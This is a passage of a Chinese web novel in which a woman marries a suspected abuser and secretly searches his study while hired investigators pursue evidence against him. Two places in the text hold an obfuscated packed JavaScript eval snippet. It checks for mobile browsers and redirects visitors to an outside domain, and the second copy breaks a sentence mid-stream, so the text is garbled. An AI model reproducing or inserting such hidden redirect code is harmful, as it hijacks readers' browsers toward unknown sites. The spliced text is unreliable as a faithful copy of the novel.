“如果有人自杀死亡就主张构成过失致人死亡,那逻辑上就会出现空白。法律上一个行为只能归到一个罪名下,在此观念下,虐待行为发生但没有造成死亡的,就不属于追究范围。”张开阳说,“所以法院不会支持这种主张。” “照你的说法,法律之下总有一小部分人得不到庇护。”魏芷带着讥讽说。 “法律不是万能的,也不是完美的。”张开阳没有反驳她的攻击,低声说道,“但法律始终在进步,我仍然相信,它会有能够让所有罪恶都无处遁形的那一天。” “只是,需要时间。”魏芷替他说出了后面的话。 张开阳没有说话,眼中露出悲伤的神色。 “我不是要指责你,只是听上去有些气人罢了。我的话你不必放在心上。”魏芷说。 “没关系,我的心情和你一样。”他说,“现在可以回答我的问题了吗?” 魏芷避重就轻地告诉他,季琪琨在她的手机上安装定位,并且有意将她从社交圈中孤立。 “……梅满当时,也经历了和你同样的事。只不过,要严重得多。除了精神上的孤立,还受到了身体上的虐待。这些,他对你做过吗?” 魏芷摇了摇头。 张开阳猜测这是因为两人即将步入婚约的缘故,有了梅满的前车之鉴,季琪琨变得更加狡猾。他会更加小心避免一切可能的罪责。 “你还打算和他在一起吗?”他问。 “为什么不?”魏芷说,“照你所说,他不会伤害我。因为我即将成为他的家庭成员。” 张开阳哑口无言。 “我出来太久了。”魏芷看了眼时间,从椅子上站了起来,“多谢你告诉我实情,张警官。” 张开阳跟着她站了起来,因为魏芷没能因为他的话改变主意,他的情绪有些低沉。 “没事,我送你出去吧。” 张开阳心有不甘,但也知道自己只能做到这里。这些年,他看过许多因为警员的好心劝说,而反把警员投诉的例子,虽然魏芷看上去不像这种人,但她同样不像是会为了别人的三言两语就改变主意的人。 在派出所大门前,他最后一次叮嘱魏芷: “派出所永远在这里,如果真的有极端情况发生,一定不要冲动。” 魏芷点了点头,走下台阶之后回头望去,张开阳依然还站在原地,眼中难掩担忧。 他很高很瘦,魏芷每一次见他,他的眉心好像都是皱着的,仿佛有说不完的忧虑。 “你是个好警察,只是对自己要求太高。” 张开阳惊讶地看着她。 “不是每个受害者都需要你去拯救,因为她们也有自我拯救的义务。” “我妈妈走后,我就明白了一件事。我想把这句话告诉你——” “纵使你一厢情愿地付出再多的自我牺牲,终此一生,你能拯救的也只有你自己。” 29.第 29 章 2009年的元宵节深夜,大多数人都在阖家团圆后进入了梦乡,张开阳却穿着制服,站在一家热气腾腾的小吃摊前,不住地往冰冷的手心里哈着气。 街道上几乎空无一人,唯有对面的派出所大门内发出明亮的灯光。 “你的两碗汤圆,好了!” 小吃摊老板利落地盖上打包碗的碗盖,将一碗刚出锅的汤圆装在塑料袋里递给张开阳。 他扫码付了钱,提起汤圆往派出所内走去。 大约是元宵佳节的关系,就连醉酒闹事的醉汉也少了不少,窗口处只有一个值班人员,在大厅背后的办公区域,也只剩下张开阳和另一名王姓警官值班而已。 他推门走进询问室的时候,正好听见翁秀越的声音。 “我只相信自己。” 她说话的语气就像挂在屋檐下的冰锥,平直而锋利,不带任何感情,与充满暖气的问询室格格不入。 “你只相信自己,所以你就要去违法犯罪吗?!”王警官的水性笔啪地一声放到桌上,严厉地对翁秀越说,“你知不知道,你屡次去别人的学校和家里闹事,还不断用电话和短信进行骚扰,这已经触犯了刑法!” 张开阳默默地坐到了王警官身旁的空位,把在打包碗里冒着热气的两碗汤圆放在桌上。 “没有追究你,是因为对方体谅你的心情,不想追究,我们派出所也体谅你的难处,所以才这么苦口婆心地劝你。你不要油盐不进,最后把自己送进牢里!” 翁秀越没有说话,但她的喉咙里发出了响亮的一声嗤笑。 “你——” 张开阳拦住了怒气上头的王警官,把其中一碗汤圆往他手里一送: “别气,别气,我来劝劝她。王哥先去休息一会吧。” 王警官手里拿着汤圆和塑料勺,气愤地看了“不识好歹”的翁秀越一眼,大步走出了问询室。 等王警官走远后,张开阳拿起桌上剩下的那碗汤圆,走到翁秀越面前。 “吃吧,元宵节呢。”他说着,把汤圆放到她面前。 翁秀越神情麻木地注视着前方空无一人的桌子,并不理睬张开阳的话。 “我知道你想为梅满做点什么,但如果不注意方式方法,只会让你成为那个无理取闹的人。”张开阳说。 “……我还在乎别人的眼光吗?”翁秀越继续目视前方,怔怔说道,“所有人都说,我这么闹只是想要赔偿金。” “不是所有人。”张开阳说,“那些这么说的人,只是因为他们不了解真正的事情原委。” “了解原委又怎么样呢?你们也不一样让杀人凶手逍遥法外?”翁秀越冷笑道。 这并非是他能左右的事,但张开阳还是毫不犹豫地说出: “……对不起。” 他的真诚让翁秀越僵硬的身体松弛了下来,脸上那种仿佛被冻结的冰冷神情也渐渐出现了动容和痛苦。 她的眼眶迅速红了起来,但她咬住下唇,止住了情感上泄露的脆弱。 “我不要任何人的道歉,我只要季琪琨罪有应得。” 那碗汤圆,直到最后她走出派出所,也一直放在桌上。 那是张开阳见她的最后一面。 没过不久,季琪琨便出国留学了,翁秀越也失去了踪迹。 八年时间仿佛一场纷纷扬扬的鹅毛大雪,人们还记得OCEAN艺术中心的艺术总监是当地知名企业家季钟永的侄子,一个二十二岁的花季少女,却永远掩埋在了大雪之下。 他不知道该做什么是对的,但他知道做什么事是错的。 2016年的中元节,张开阳在派出所大门前目送着魏芷的背影,决心不会再让历史重演。 …… 登记领结婚证这一天,魏芷一大早就起来化妆。 她对着镜子,把夹翘的睫毛仔细地刷上膏体,又用红色的口红,涂满了自己的嘴唇。她端详着镜中的温顺羔羊,练习了一下拍照时的微笑。 六点整,季琪琨起床了。 七点整,空腹慢跑一小时结束的季琪琨喝了一杯魏芷泡的咖啡,吃了两片全麦吐司。 八点整,换上西装的季琪琨和魏芷一同出门。 她梦寐以求的时刻终于到来了,一切都显得那么不真实。 到了民政局门口,季琪琨将车停在停车位上,却没有立即开门下车。他握着方向盘,仿佛正在酝酿什么,魏芷见状也留在了副驾,她看着他,直到他缓缓开口。 “小芷,”他说,“你是因为钱和我结婚的吗?” “当然不是。”千锤百炼的谎言脱口而出,魏芷甚至不需要思考的时间。 “那就签了它,向我证明这一点。” 季琪琨从副驾的手套箱里拿出一叠文件,抬头的一行大字清晰地写着“婚前财产协议”几个字。 魏芷飘忽的心在这一刻落地了。 比起一帆风顺,还是龙潭虎穴更让她有真实感。 她接过文件,一页一页地翻阅条款。 协议中除了规定婚前的财产属于个人以外,也规定了婚后财产分配,如果两人离婚,魏芷能带走的只有她婚前和婚姻存续期间的所得。 她是财务出身,除了考虑婚后财产转移外,当然也设想过季琪琨会让她签婚前协议的可能。 只是,她没想到季琪琨能忍到最后一刻。 有那么一瞬间,她都误以为,他真的爱她爱到愿意将一切与她平分。 “笔呢?”她神情轻松地说道。 季琪琨审视地看着她,眼中露出惊讶的神情。 魏芷从手套箱里拿出水性笔,在车上签署了两份协议,然后将其递还给季琪琨。 “我以为你会考虑更长时间。”他说着,接过纸笔,在两份协议上也签下了自己的名字,并将其中一份再次交给魏芷。 “任何都比不上你在我心中的地位重要。”魏芷练习的笑容,提前用在了这里。 他们来得早,民政局里还没开始排队。魏芷将准备好的材料都推进了窗口。 “你们自己有照片吗?”工作人员从窗口后问道。 “有。”魏芷说。 工作人员从一堆材料中翻到了两人提前拍好的结婚照。红色的背景下,两人亲密地依偎在一起,宛若天生一对的璧人。 这张照片,很快就出现在了魏芷和季琪琨的结婚证上。 随着钢印的落下,两人正式成为法律意义上的夫妻。工作人员将两个崭 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在江都市最后的婚庆用品市场,季琪琨买了十几种喜糖,情绪比登记领证时还要高涨,因为稍晚一些,他就要去季钟永的集团公司正式报道了。 那是他结婚的最大目的,相比起季钟永半生打下的基业,小小的画廊根本不值一提。就在前一周,画廊已经出手,但OCEAN艺术中心的名字还是保留下来了。听说新老板也是个海洋爱好者。 买完喜糖后,魏芷被季琪琨送回家附近的大超市,她要买一些生活用品,而季琪琨则开着添越马不停蹄地前往集团公司。 魏芷在超市了逛了半小时,买了一些家中用完的洗洁精等物。 她排在结账的人群里,百无聊赖地望着周围,视线忽然定在了结账台外的一间手机修理柜台上。 顺着一张金属的面板,她看到了自己,以及自己身后的人群。 一个身穿黑色兜帽衫的男人,假装在货架前挑选货物,但眼睛却目不转睛地盯着自己。 谭孟彦。 从画廊辞职后,他再一次出现在她身边。 他的青色胡茬更多了,在黑色兜帽下若隐若现,他似乎瘦了许多,颧骨下的凹陷格外明显。再加上眼下明显的黑眼圈,整个人都透着一股憔悴。 前方的人慢慢走完了,轮到魏芷和她的推车走到结账台前。 魏芷移开目光,假装什么都没发现,若无其事地将推车里的货品一一拿出。 结账之后,她提着一个装满了货物的大塑料口袋走出了超市。 谭孟彦立即从未购物通道追了出来,他快步走出大门,却发现自己失去了魏芷的踪迹。 他左右张望,眉心微微皱起。 当他转身想要离开,却险些撞上魏芷的身体。 人来人往的街头上,魏芷抓住了他腰带上方的卫衣,制止了他的下意识后退。她露着甜蜜的笑容,和结婚证上如出一辙——即便谭孟彦神情震惊,在外人看来,这也是一对感情亲密的小情侣。 “你跑不掉了。” 魏芷笑道。 “给你一分钟时间,想想要怎么对我说谎。” 30.第 30 章 魏芷忽然出现在谭孟彦眼前,显然超乎了他的预料。但他震惊的眼神在片刻后迅速恢复了镇定,两人的距离之近,以至于她清楚地看到了他的喉结在小麦色的皮肤下紧张地滚动了一下。 “我不知道你在说什么。”谭孟彦说。 魏芷叹了口气:“你会跟踪人,却不会说谎?” “我来超市买东西,触犯法律了吗?”他冷冷说道。 魏芷拿出手机,打开相册,微笑着向他展示里面的照片——有他摸黑在财务办公室里更换监控摄像器电池的,也有他在快递站拿走她快递又送回来的。 “那你告诉我,侵犯他人隐私,触犯法律了吗?” 谭孟彦陷入了沉默。 “我还有视频,应该不用看了吧?”她收起手机,“我们是在这里谈,还是换个有椅子的地方?” 谭孟彦的目光漂移着,似乎是在寻找逃跑的机会。魏芷虽然温和地笑着,但一只手却牢牢握着他的卫衣下摆,不给他可乘之机。 半晌后,他终于放弃。 “换个地方。” 超市大厦的一楼正好是个麦当劳,于是魏芷有生以来第一次和异性在麦当劳面对面地坐了下来。充满油炸香气的麦当劳里空座位充足,魏芷本想直接找个角落坐下,谭孟彦却说:“我去点餐。” “我也去。” 魏芷怕他跑了,立即跟他一起向柜台走去。 谭孟彦点了一个汉堡套餐,魏芷只点了一杯牛奶。付钱的时候,虽然魏芷已经掏出了付款码,但谭孟彦还是眼疾手快地先一步付了款。 他似乎不太习惯和年轻女性一起出现在这种场合,自走入麦当劳后,眼神始终没有和她交接。 等到出餐,他也是一字不发地端起餐盘就走。 两人在麦当劳靠近儿童乐园的角落坐了下来,周围空无一人。谭孟彦坐下后就打开汉堡包的包装盒,拿出热乎乎的汉堡,大口大口地咬了下去。 魏芷也没催他,看着他将半个汉堡吞进肚里,才开口道: “说吧,你是谁,你的同伙是谁,你们的目的是什么。” 谭孟彦并未否认同伙的问题,也没回答她的其他疑问,而是化被动为主动,开门见山地对她说道: “我的目的和你相同,我们可以合作。” 他把汉堡放下,拿起可乐一口气喝了半杯。然后向椅背靠去,黑白分明的眼眸从下至上抬起,最终定格在魏芷面庞的高度。 “你觉得我的目的是什么?”魏芷问。 “钱。”他言简意赅地说。 “你认为我们该如何合作?” “你帮我寻找季琪琨犯罪的证据,只要他被送进监狱,你就可以独占他的财产。” “我们国家没有这样的婚姻法。” “你是财务,当然知道该怎么运作。” “那你猜错了,”魏芷说,“你的所有猜想,都是错的。” 谭孟彦把可乐放回桌上,然后把手心里的冰水在卫衣上擦了擦,漫不经心地说:“你就不好奇,为什么你全家的征信在季钟永那里是干净的吗?” “当然好奇,你是怎么做到的?”魏芷好奇道。 “这你就不用管了,你只需要知道,真的那份还在我们那里就行了。” “‘我们’?” 谭孟彦察觉一时嘴快失察,露出了懊恼的神情。 “还有其他什么人?”魏芷问。 “我不能告诉你。”他说。 “那你能告诉我的是什么?真的那份征信还在你们那里,所以我必须要受你们的威胁。是这个意思吗?” “我不想威胁你。”谭孟彦说,“我只是想告诉你,我们目的一致,没必要内讧。如果不和我们合作,你要怎么打破婚前协议的困局?” “你们的消息真快。”魏芷气笑了。 谭孟彦避开了她的眼神,再一次低声道。 “……我们不是敌人。” “你们和季琪琨,有什么仇?”魏芷问。 谭孟彦沉默着。 “这个也不能说?这就是你们合作的态度?” “……我不会骗你。”他说。 “你知道吗,我爸每次打完妈妈,都会在之后对她说——‘我再也不会打你了’。”魏芷端起桌上已经变得温热的牛奶,一饮而尽后站了起来,冷静地说道,“你们男人说的话,我一个字都不信。” “魏芷——”这回是谭孟彦站了起来。 他高大的身形一下子就超出了魏芷,她要抬起头来才能直视那张棱角分明的脸。 “不过有一点倒是超出了我的意料。”魏芷说,“我本来以为你会采取更暴力的方式去达成目的,没想到是想用法律手段来将他送进监狱。你做的事要比你的面相温和许多。” “……如果可以,我当然想用更简单的方式。” “看来你的同伙是一个充满法律意识的人。” 魏芷有意讽刺道,谭孟彦没有说话。 “回答我的最后一个问题。”魏芷说,“既然你们的目标是季琪琨,为什么监视对象却反而是我?” “……” “这个问题也无法回答?”魏芷收起笑容,神色转为冷淡,“那我没有什么好说的了。” 魏芷转身想走,谭孟彦的声音在她身后响了起来。 “你还记得你的征信记录在我手里吗?如果你现在离婚,你什么也得不到。” 等魏芷停下脚步,他顿了顿,接着说道: “我不想威胁你。你可以考虑一下,过几天再告诉我答案。” 魏芷再次迈出脚步,头也不回地走出了麦当劳。 等她推门而出后,谭孟彦也慢慢走了出来,他隔着远远的距离,目送着魏芷提着超市购物袋走入小区门岗,然后走向了小区街对面的一家关着门的水站。 谭孟彦站在卷帘门前,掏出钥匙拉开门,再转身把卷帘门重新关上。 门店内的座机正在喋喋不休地响着,谭孟彦走到桌前接了起来。 “喂?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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包含季氏集团员工在内的天和大厦一楼员工食堂,打菜窗口里的郑田心正一边拿着手机,一边对玻璃外的员工笑眯眯地解释道: “不好意思啦,今天烧豆腐销得太快了!这个炒香干也很好吃哦,要不要试试?” 得到应允后,她利落地打了炒香干。 窗口外的年轻员工夸赞道:“阿姨,你下次就不能多做一点烧豆腐吗?我们都叫你豆腐西施呢!” “哎哟!什么豆腐西施,你们这些年轻人,嘴真甜!婶给你多来一勺豆干!” 郑田心笑得花枝乱颤,夹在肩膀上的手机差点落了下来。 送走这个客人后,她把在打菜勺上沾到油的右手在围裙上随手擦了擦,然后拿起手机说道:“你没对她说什么多余的话吧?” “没有。”谭孟彦说。 “真的吗?” “……你不信我也没办法。” “瞧你,开个玩笑就生气了。以后怎么找女朋友?” 嘟,嘟,嘟。 电话被挂断了。 郑田心毫不意外地看了眼结束通话的手机,将其揣进了围裙下的衣兜。 “哎呀欢迎欢迎,烧豆腐没了,吃点别的?” 她向着窗口外新来的客人迎了过去。 31.第 31 章 两天后的一个晚上,魏芷第一次梦到了王琳。 她穿着季琪琨送的昂贵套装,坐着黑色的添越,不知为何又在夜色中回到了那条熟悉的小巷。顺着长满青苔的石板路走进小巷,在七拐八绕的尽头,是她灯亮不灭的家。 王琳依旧坐在柜台里看手机等待客人上门,听到她的脚步声逐渐靠近,王琳马上迎了出来。 “小芷,你饿不饿?妈给你下碗面条?” 前一秒她还记得母亲已死的事实,但王琳活生生的身影打散了现实的残响,“原来之前才是做梦啊”,她想。 梦影响到了现实,失去至亲的裂骨剧痛仍留在生命的阴影中,她没有像往前那样拒绝王琳,而是默认了她的殷勤。 王琳见状连忙走去厨房忙活,不多时,一碗热腾腾的清汤挂面就端到了魏芷面前。 魏芷坐在磨得已经摸不出木头手感的椅子上,慢慢挑起一束面条。王琳也不看店了,坐在她的对面,满脸笑容地望着她吃面。 “怎么样?盐味合适吗?”王琳期待地问道。 “可以。”魏芷点了点头。 在最亲近的人面前,她反而无法直率地说出夸奖。到底是为什么呢?明明早就下定决心,一定要将那些后悔未曾说出的话语全部说出…… 那是什么时候,因为什么而下的决心? 魏芷的大脑忽然混沌了起来,她抬头看向对面的母亲,她的面容还是那么温暖熟悉。 “小芷,如果你觉得很累,尝试着放弃怎么样?”母亲温和又充满担忧地开口了,“那些超出我们能力范围内的事情,就算你拼尽全力,也不会有任何改变呀。” 魏芷闷头吃面,一字不发。 “谁也不会怪你的,小芷。”王琳柔声说,“我们都知道你尽力了。” 魏芷放下筷子,终于抬头直视王琳的双眼。 “没到生命的最后一秒,就不算尽力。”她一字一顿说,“如果有改变结局的机会而我没有抓住,我不会原谅自己。” 后面有没有再说什么,她已记不大清了。 魏芷醒来的时候,太阳已经从窗帘的缝隙中照进昏暗的卧室,大床的另一边空无一人。卧室笼罩在一种日夜交界般的半明半亮里,床头柜和墙面上的镜面装饰物折射着幽幽的白光,映出大床上魏芷的身影。 王琳去世只是一个多月前的事情,但除了最开始的悲痛以外,她越来越没有实感。 王琳真的死了吗? 还是只是离开他们,去了一个她触摸不到,无法联系的地方? 就像魏杉把她逼在一个无法逃脱的小角落,然后用腰上抽出的皮带狠狠打她一样,她的灵魂好像脱离了身体,冷静地俯视这毫无真实感的荒诞现实。说不定,王琳并没有死,只是像她一样,灵魂离体去了一个没有痛苦的地方。 唯一奇怪的是,现在已经没有魏杉举着皮带追在她身后了,但她还是一次又一次地在不需要的时候体验这种抽离。 现实和假象的界限不再清晰。她甚至怀疑,或许一切都是假的。 魏芷以开安眠药为由,获得季琪琨的外出许可,再次来到精神卫生中心。 “……以前我有过这种抽离的现象。”她说,“但最近,越来越频繁了。” 她虽然随意挂的诊,但接诊的年轻女医生却很负责任地看了她此前的所有病例。 “意识的解离在最开始的时候,可能是一种适应性行为,但它是不可控的,解离也是创伤后遗症的一种,它会长久地纠缠患者。这就是从一开始,我们不建议患者使用解离来作为逃脱痛苦的手段的原因。因为在你不需要解离的时候,它也很有可能会再次控制你的身体,成为一种不可控的不良行为。” “……创伤后遗症?”她喃喃自语,这是她第一次听见的词,“这不是抑郁的其中一种症状吗?” “抑郁也会伴有这种症状,但你的抑郁,主要是因为受过重大创伤。” “什么重大创伤?”魏芷哑然失笑,故意用讥讽的语气说,“被棍棒教育也算重大创伤?” 她并不想笑,但她逼迫自己一定要笑,否则她不知道该做出何种表情去压抑内心突然涌动的痛苦。 年轻的女医生沉稳说道:“将创伤简单量化,只是在做无意义的比较。只有受害者有资格评判这种伤害的重大程度,而你的身体告诉了你答案。” “……” “十多年前,PTSD的概念还未完全普及,很多创伤后遗症都被简单归类于抑郁症。但两种病症的运作方式其实是不同的。首先是病因区别,抑郁症由多种因素引起,不一定要有明确的创伤事件,而PTSD则必须经历创伤性事件。” “症状表现区别上,抑郁症的核心症状主要是持续的心境低落、兴趣减退和精神疲乏。PTSD的核心症状则包括创伤再体验、回避与创伤相关的事物、情绪麻木和警觉性增高。” “PTSD的症状特点包括回避行为、反复回忆创伤性事件,且经常是闯入性地回忆,挥之不去,而抑郁症则通常不会。” “虽然PTSD经常会伴有抑郁症状,但在症结上,两者是不同的,如果不能找准病因,也就无法更好地对症治疗。” “那我之前吃的药都吃错了吗?”魏芷问。 “你有严重的抑郁情绪,吃抗抑郁药能够有效对抗这种负面情绪。只是,如果你想有更好的治疗效果,还需要寻求擅长创伤后遗症的心理咨询师的帮助。” 拿着开好的安眠药,魏芷走出了精神卫生中心。 奇怪的是,新的病名并没有在她内心激起丝毫涟漪,她望着空中刺目的秋阳,那种荒诞的,与现实脱轨的感觉越发清晰。 她需要做点什么,来回到现实。无论现实多么残酷,她都必须回到现实。 回到季琪琨家,她把安眠药放在床头的抽屉里面。然后走过挂着许多镜子的客厅,站到了那间总是紧闭着房门的书房门前。 她用手指拂开了密码锁,注视着上面的数字盘,尝试着输入了季琪琨的生日和画廊建立的日子。 密码错误。 怀着万般怀疑,她又不抱希望地输入了两人的恋爱纪念日。 密码错误。 她反倒松了口气。 剩下的机会不多了,她盯着那面黑色的密码锁,想起了被季琪琨挂在书房电脑对面的那幅画。 她慢慢输入20080814,梅满的忌日。 密码门再次亮起提示错误的红灯。 魏芷望着密码面板,在放弃前最后一次尝试了080814—— 绿灯亮起,书房门开了。 魏芷站起身来,客厅里的无数个镜面都映出了她的身影,就像是季琪琨留在家中的无形的眼睛,目不转睛地看着她抬脚迈进了书房。 魏芷兜里放着毫无反应的射频探测仪,她忍不住第一时间先去看那幅画,她慢慢走上前去,用手指轻轻抚摸那凹凸不平的笔墨,就好像她握住了画家手中的画笔。身为在画廊工作了两年的财务,她当然知道皮肤上的油脂会腐蚀油画上的颜料,但她依然忍不住。 她好像透过那幅画,摸到了画家的温度,她无端想要流泪。 整理好心情,魏芷离开了油画前,重新打量这间陌生的书房。 镜面无处不在。 正中央的电脑深深地吸引着她,她走到电脑前开启了电源,主机马上亮了起来。很快,屏幕上显示出密码界面。 在输入框的上方,有一行小小的密码提示。 “最爱的艺术家”。 季琪琨最爱的艺术家——魏芷脑海中立即浮现出几个独立艺术家的名字。她尝试着一一输入,每一次输入框都弹红显示错误。 她在画廊工作两年,对季琪琨的喜好了如指掌。 她不可能不知道季琪琨喜欢的艺术家,但一次又一次的错误削弱了自信。 她思考了许久,最后输入了“MeiMan”和“M”。 无一例外都是错误。 她决定暂时放弃,关上电脑去了角落放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787446|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保险箱的地方。 季琪琨绝对想不到,他让她辞职在家,反倒给了她很多试错的时间。 和电脑不同,保险箱的安保程度更高,许多保险箱都自带报警功能。魏芷提前调查过,季琪琨所用的保险箱发出警报是在密码错误五次以后。 她有五次试错的机会。 半小时后,她用倒置的季琪琨的出生年月日打开了保险箱。拉开保险箱的门,里面没有通常意义上的贵重物品,反而是一些在别处十分寻常的东西—— 许愿星瓶、戒指、项链、画笔、素描册、信件…… 魏芷送给季琪琨的礼物也在其中。 其他东西的由来就不言而喻了。 魏芷拿出了那一沓信件,绝大多数都是一个落款为“陈靖雁”的人写的,她把每一张信都认真看过了,绝大多数是恋爱中的小女生向心爱之人倾诉爱意,描绘日常的信,也有因为相隔两地,对季琪琨冷漠和疏远的抱怨。 从信中,魏芷得知,陈靖雁应该是季琪琨高中时期的最后一个女朋友。 魏芷把看完的信件放下,然后拿起了那本封面写有季琪琨名字的素描册。 一开始,她以为那是季琪琨用的素描册,但翻开后,她却看到了季琪琨的脸。 更年轻,更富有朝气的脸。 画家就像是把这张脸刻入了骨髓一样,一眼就让魏芷看到了大学时期的季琪琨。 那时的他,依然英俊潇洒,该锐利的下颌线清晰分明,该饱满的太阳穴和脸颊流畅得恰到好处,一双黑白分明的眼睛露着机敏和调皮,似笑非笑地望着画外的魏芷。 魏芷继续往下翻。 整整一本素描册,画得都是季琪琨。 只不过,素描册上的季琪琨从一开始的轻松带笑,到后来的冷眼不悦,最后是满脸怒容。越翻到后面,越找不到一张他的笑脸。 魏芷用手机尽可能地将所有东西都拍照留存了下来,包括素描册和信件。 她拍了近一个小时,拍到后颈完全僵硬也浑然不察,直到手机提示内存用尽,她才将所有东西放回保险箱恢复了原样。 她的手机忽然在地面上震动了起来。 那是一个陌生来电,魏芷接起电话,没有率先出声。男人低沉的呼吸透过手机传到魏芷耳中,不知为何让耳蜗微微发痒,她换了个姿势,继续等待对方先一步开口。 “……你考虑得怎么样了?” 终于,谭孟彦的嗓音传了出来。 魏芷把保险箱上的密码转轮,恢复到最开始的样子,然后拿着手机站了起来。 “我可以和你们合作。”她说。 魏芷站在窗口,眺望着季琪琨每日都会见到的窗景,她忽然思考,如果她和季琪琨站在相同位置上,会有什么本质区别。 或许有,或许没有。 “前提是,你身后的人站出来向我表明诚意。” “你有什么话和我谈就行了。” “和你谈,你能做得了主吗?” 水站二楼的小小阁楼里,谭孟彦握着手机,看向桌子对面的郑田心。后者对他点了点头,于是他说道: “我当然能够做主,你想提什么条件?” “我只和你身后的人谈。”魏芷在电话里说,谭孟彦再次看向郑田心。 郑田心还未说话,按下扩音的手机里,又一次传出魏芷的声音。 “为什么不敢站出来和我见面?” 魏芷忽然换了个语气,低柔的声音在电话那头如海草般飘忽不定: “不是约好要一起玩吗?”她一个字一个字地从唇齿间轻轻吐出,“田心姐。” 谭孟彦猛地瞪大双眼,下意识朝对面的郑田心看去,后者同样露出惊讶的表情,忍不住从凳子上站了起来。 空气仿佛都被凝固了,只剩下电话两端彼此的呼吸。 片刻后,郑田心发出了爽朗的笑声。 时间再次流淌起来。 “好久不见了,小芷。”郑田心笑着说。 32.第 32 章 下午两点,魏芷把手机留在家里,独自走出了小区。 见面的地点在小区斜对面街道上的一家水站,在此之前,魏芷从未见它拉开过银色的卷帘门。 现在,大开的水站就在她的面前。 堆满大容量桶装水的水站里空无一人,一个小小的柜台上乱七八糟地放着纸笔和一本发票本,水站深处靠墙壁的地方,有一个颜色已经发黑的木楼梯,通向一个一平米不到的窗口。 踩在参差不齐的木板上,魏芷慢慢走上二楼。 她听到了嗑瓜子的声音。 郑田心悠然地坐在木桌前,用肥肥胖胖的两根手指往嘴里送着小小的瓜子,脸上依旧是魏芷熟悉的笑眯眯的神情。 在她身后不远处,穿着一件白背心的谭孟彦正张开双腿坐在板床前,埋着头,手握一把小刀,正削着一根硅胶管。结实的背阔肌如同两扇厚重的石门,从肩胛骨下方一直延伸到腰部,呈现出令人震撼的力量感。每当他转动手腕,那些肌肉就会随之起伏。 郑田心把炒瓜子的包装袋往魏芷的方向一推:“坐。小谭,给客人泡茶。” “没有。”谭孟彦头也不抬地说。 他过长的前发垂落下来,遮住了那双黑白分明的眼睛,显得更加阴郁。 魏芷在郑田心对面坐了下来,神情和他们一样轻松自然。 “这些仪器是?”她问。 “透析用的。”郑田心的眼睛在肥肉里堆成两条弯弯的月牙,用一种戏谑的口吻说,“这家伙命硬,谁看得出来他是尿毒症晚期?” “为什么不去医院?”魏芷看着谭孟彦,“因为钱的问题?” 谭孟彦还是低着头,自顾自地削着那根管子,仿佛根本没有听见魏芷的话。捡起话题的还是郑田心。 “不全是。”她颇有兴趣地审视着魏芷,“你对他很感兴趣?” 魏芷将目光落回郑田心脸上,笑着说: “我对你们都很感兴趣。” 郑田心似笑非笑,将嘴皮上沾的瓜子皮捻了下来:“你是怎么猜到我的?” “食堂倒泔水通常是在一天的工作结束之后,否则中午倒了一次晚上还要再倒。而我在保安小屋外看见你的时间,还不到晚餐时间,你急急忙忙赶过来,只是因为你怕谭孟彦单独和我在一起的时候,被我试出什么。” “谁让你太聪明了呢?”郑田心笑道,“没想到,露馅的不是小谭,反而是我。” “所以,你是谁?”魏芷问。 郑田心从裤兜里摸出一张身份证放到桌上,上面印着她的照片和名字。 “郑成功的郑,田野的田,心爱的心。郑田心,你的田心姐呀,一个普普通通外出打工的中年妇女而已。只不过,我的业务比一般的中年妇女要广一些,只要有钱,我什么都干。” “你的雇主是谁?” “这就不重要了吧?”郑田心笑道,“你只要知道,我们的目的是一样的就行了。你要季琪琨的钱,而我的雇主要季琪琨的犯罪证据。我们利益并不相冲。” “你连坦诚相见都做不到,要我怎么相信你?” 郑田心说:“诚意你已经看到了呀,我们帮你隐瞒你家里的征信情况,之前在画廊,有个什么风吹草动,我是不是还给你通风报信来着?” “我必须知道雇主是谁,才能决定要不要和你合作。” “那这样吧,你来猜一猜我的雇主是谁,你只有一次机会,如果猜对了,我就明明白白地告诉你。” 郑田心的神情充满期待。 “你的雇主是习蔓菁。”魏芷说。 郑田心看着魏芷的目光里满是赞赏:“不愧是我选中的人,小芷。你非常的聪明,非常的警觉。你知道吗,我从一千多人里选中了你,只有你,才能让我们大家都获得各自想要的东西。” “习蔓菁想要季琪琨的犯罪证据,那么,你想要什么?”魏芷问。 “我想要的当然是雇佣费用,这一笔钱由习蔓菁个人支出,你不必担心触及你的利益。” “那他想要的是什么?”魏芷看向一旁沉默不语的谭孟彦。 “他是我请来帮忙的人,他的报酬由我支付。”郑田心说。 “把这件事从头说起。” “那就说来话长了。” 郑田心从瓜子袋里摸出一枚瓜子嗑开,舌尖卷走瓜子仁后,将两瓣瓜子皮整整齐齐摆在桌上。 “五十九年前,做外贸起家的季建国老来得子,妻子产下一对异卵双胞胎。”郑田心将两瓣瓜子皮用食指按住,往相反方向推开,“先出生的那个叫季钟永,后出生的那个叫季谦蔚。两兄弟从小一起长大,性格迥异但感情深厚。” “季建国去世的时候,将家产分为工厂和公司、现金汽车别墅两种。老大接受了工厂和公司,老二选了躺平花钱。分家之后不久,两兄弟也先后结婚了。” “两兄弟相隔一年先后生子,同样也是两兄弟。大的叫季腾,小的叫季琪琨。” 郑田心从瓜子堆里找出两枚较小的,一边一个放到了两瓣大瓜子壳的下方。 “在季琪琨八岁的时候,季谦蔚以残忍的手段杀害了自己的结发妻子,入狱后不到半年,就在狱中自杀。” 郑田心带着笑容,屈起食指和拇指,弹走一枚大瓜子壳,将其下方的小瓜子壳挪到了另一边,撞开了原本放在那里的小瓜子壳。 